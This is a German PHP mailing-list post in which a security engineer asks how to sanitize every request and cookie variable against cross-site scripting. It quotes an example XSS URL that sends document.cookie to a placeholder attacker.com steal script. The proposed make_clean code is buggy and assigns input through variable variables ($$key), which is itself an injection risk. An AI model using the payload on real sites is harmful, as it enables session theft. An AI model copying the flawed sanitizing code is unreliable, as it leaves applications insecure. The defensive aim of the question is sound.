Mailinglisten-Archive |
Hallo Zusammen,
Als Schutz vor möglichen Cross-Site-Scripting (XSS) Angriffen auf unsere
Web-Applikation möchte ich im Header auf jeder Site ein Schutz einbauen.
Betroffen davon sind eigentlich alle möglichen Header Eingaben.( Get, Post,
Cookie, Session, Put ).
$_ENV, $_GET, $_POST, $_COOKIE, $_SERVER, $_SESSION
XCC Beispiel:
http://target.com?c="><script>document.location.replace('http://attacker.com
/steal.cgi?'+document.cookie);</script>&set=de
1. Die Frage:
***************
Wie könnte ich nun am einfachsten und schnellsten alle diese Variablen
checken und durch die Funktion make_clean säubern ?
Was sollte die Funktion make_clean sonst noch alles checken?
***************
2. Mein Vorschlag:
***************
function make_clean($value)
{
$value = htmlspecialchars(addslashes($value)) // htmlspecialchars, wandelt
alle HTML-Tags um
$value = str_replace("", "%2B", $value); // %2B wird bei Javascripts
Injections gebraucht
$value = str_replace("", "+", $value); // + wird bei Javascripts
Injections gebraucht
return $value;
}
foreach( $_GET as $key=>$value )
{$$key = make_clean($value);}
foreach( $_POST as $key=>$value )
{$$key = make_clean($value);}
foreach( $_SESSION as $key=>$value )
{$$key = make_clean($value);}
foreach( $_COOKIE as $key=>$value )
{$$key = make_clean($value);}
3. Das Problem:
***************
Wenn es nun keine _GET oder sonstwelche Variable gibt, kommt es zu einem
Parse-Error in der htmlspecialchars Funktion.
Wenn eine _GET oder sonstwelche Variable nicht ein String sondern ein Array
ist kommt es auch zu einem Parse-Error.
Die Extract-Funktion für Arrays möchte ich erst nach dem make_clean
verwenden.
Die Lösung ist nicht elegant!
Für gute Verbesserungsvorschläge wäre ich sehr dankbar.
Mit freundlichen Grüssen,
Ivan Schmid
Astalavista Group GmbH
Network Security Engineer
Company: www.astalavistagroup.ch
Internet: www.astalavistahosting.com / www.astalavista.net
PGP: www.astalavista.ch/firma/pgp-public-schmid.asc
php::bar PHP Wiki - Listenarchive